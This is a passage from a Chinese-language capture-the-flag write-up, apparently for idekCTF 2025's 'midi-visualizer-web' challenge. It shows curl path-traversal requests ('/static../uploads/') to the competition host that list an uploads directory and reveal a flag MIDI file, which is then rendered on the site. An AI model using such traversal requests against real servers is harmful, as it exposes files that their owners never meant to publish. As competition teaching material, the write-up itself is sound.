class="giallo-l"><span class="z-keyword z-operator">&gt;</span><span class="z-source"> curl https://midi-visualizer-web.chal.idek.team/static/../uploads/</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">Not</span><span class="z-string"> Found%</span><span class="z-source"> </span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-operator">&gt;</span><span class="z-source"> curl https://midi-visualizer-web.chal.idek.team/static../uploads/ </span><span class="z-keyword z-operator">|</span><span class="z-entity z-name z-function"> rg</span><span class="z-string"> flag</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> %</span><span class="z-string"> Total % Received % Xferd Average Speed Time Time Time Current</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> Dload</span><span class="z-string"> Upload Total Spent Left Speed</span></span> <span class="giallo-l"><span class="z-entity z-name z-function">100</span><span class="z-string"> 524k</span><span class="z-constant z-numeric"> 100</span><span class="z-string"> 524k</span><span class="z-constant z-numeric"> 0 0</span><span class="z-string"> 416k</span><span class="z-constant z-numeric"> 0</span><span class="z-string"> 0:00:01 0:00:01 --:--:-- 416k</span></span> <span class="giallo-l"><span class="z-keyword z-operator"> &lt;</span><span class="z-entity z-name z-function">a</span><span class="z-string z-punctuation z-definition z-string"> href=&quot;./flag-41589d62bca4bcc031e55ca2.mid&quot;</span><span class="z-keyword z-operator">&gt;</span><span class="z-string">flag-41589d62bca4bcc031e55ca2.mid</span><span class="z-keyword z-operator">&lt;</span><span class="z-string">/</span><span class="z-source">a</span><span class="z-keyword z-operator">&gt;</span></span></code></pre> <p>最后将下载下来的 midi file 上传到当前网站，借助其可视化功能，可以得到 flag</p> <p><img src="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/content/blog/img/web_midi_flag.png" alt="" /></p>

AK Cryptography!!!